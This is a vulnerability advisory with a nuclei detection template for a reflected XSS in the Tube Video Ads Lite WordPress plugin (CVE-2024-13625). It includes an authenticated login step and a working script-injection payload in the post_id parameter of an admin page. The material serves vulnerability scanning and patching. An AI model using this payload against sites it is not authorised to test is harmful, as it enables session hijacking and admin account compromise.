Tube Video Ads Lite - Reflected XSS

highseverity

7.1CVSS score

0.6%likelihood of exploitation, next 30 days

48%of all CVEs are less likely

Readycheck to confirm it

Tube Video Ads Lite WordPress plugin <= 1.5.7 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed or apply security patches if available.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=embededcode_wpyoulink&post_id=%3C%2Fxmp%3E%24id%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript…
Positive when: status_code == 200 and contains_all(body, "></script><script>alert(document.domain)</script><script>")

Run it with nuclei: nuclei -id CVE-2024-13625 -u <target>

The full check

id: CVE-2024-13625

info:
  name: Tube Video Ads Lite - Reflected XSS
  author: Sourabh-Sahu
  severity: high
  description: |
    Tube Video Ads Lite WordPress plugin <= 1.5.7 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires attacker to craft a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed or apply security patches if available.
  reference:
    - https://wpscan.com/vulnerability/6bfabf1d-86f2-4d29-bc55-d618d757dcc6/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13625
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13625
    cwe-id: CWE-79
    epss-score: 0.00573
    epss-percentile: 0.47694
    cpe: cpe:2.3:a:gualdoni:tube_video_ads_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gualdoni
    product: tube_video_ads_lite
  tags: cve,cve2024,wpscan,wordpress,wp-plugin,tube-video-ads-lite

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=embededcode_wpyoulink&post_id=%3C%2Fxmp%3E%24id%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>")
        condition: and

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